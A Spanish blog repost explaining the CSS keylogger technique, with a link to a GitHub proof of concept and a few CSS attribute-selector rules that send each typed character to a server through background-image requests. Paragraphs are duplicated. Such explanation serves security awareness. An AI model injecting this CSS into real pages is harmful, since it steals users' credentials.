Keylogger CSS: robar credenciales a través de CSS
En los últimos años las medidas de seguridad de los sitios web han mejorado exponencialmente, gracias al uso de frameworks que permiten automatizar la codificación, evitando así fallos humanos durante los procesos de desarrollo. Metodologías como OpenSAMM también han puesto su granito de arena para mejorar la seguridad global de las aplicaciones web, pero las posibles brechas que pueden presentarse en estos entornos son muchas, y en multitud de ocasiones, desconocidas.
Aunque en muchas metodologías de auditoría no están representadas como un tipo concreto, suelen identificarse en sitios web desarrollados bajo frameworks como Liferay, Joomla y similar, por descuidos de los maquetadores que de alguna u otra manera dejan expuesto algún lugar (como un input) donde poder alterar los CSS del sitio web. Es en casos concretos como este donde un atacante puede disfrutar de su ingenio para desarrollar un exploit con el que poder sustraer datos críticos.
Recientemente, Max Chehab, de la universidad de Gonzaga, publicaba en su cuenta de Github un interesante Keylogger desarrollado en CSS, con el que poder sustraer las credenciales de un sitio web. Podéis descargar la prueba de concepto a continuación: https://github.com/maxchehab/CSS-Keylogging.
Este proyecto es similar a Crooked Style Sheets" de Jan Böhmer y a CSS Exfil de Ayrey y Gualtieri.
La explotación funciona debido a que la página que propone Chehab utiliza frameworks como React.js
React sincroniza los valores que están siendo introducidos por los usuarios en un [input], por ejemplo, cuando introducen unas credenciales de autenticación. Imaginaros la siguiente porción de código CSS:
Fuente: ZeroLynx
Aunque en muchas metodologías de auditoría no están representadas como un tipo concreto, suelen identificarse en sitios web desarrollados bajo frameworks como Liferay, Joomla y similar, por descuidos de los maquetadores que de alguna u otra manera dejan expuesto algún lugar (como un input) donde poder alterar los CSS del sitio web. Es en casos concretos como este donde un atacante puede disfrutar de su ingenio para desarrollar un exploit con el que poder sustraer datos críticos.
Recientemente, Max Chehab, de la universidad de Gonzaga, publicaba en su cuenta de Github un interesante Keylogger desarrollado en CSS, con el que poder sustraer las credenciales de un sitio web. Podéis descargar la prueba de concepto a continuación: https://github.com/maxchehab/CSS-Keylogging.
La explotación funciona debido a que la página que propone Chehab utiliza frameworks como React.js
React sincroniza los valores que están siendo introducidos por los usuarios en un [input], por ejemplo, cuando introducen unas credenciales de autenticación. Imaginaros la siguiente porción de código CSS:
input[value$="Z"] {
background-image: url("http://localhost:3000/Z");
}input[value$="Z"] { background-image: url("http://localhost:3000/Z");}
input[value$="e"] { background-image: url("http://localhost:3000/e");}
input[value$="r"] { background-image: url("http://localhost:3000/r");}
input[value$="o"] { background-image: url("http://localhost:3000/o");}
Fuente: ZeroLynx
Via: feedproxy.google.com
Keylogger CSS: robar credenciales a través de CSS
Reviewed by Anónimo
on
7:50
Rating:
Reviewed by Anónimo
on
7:50
Rating:
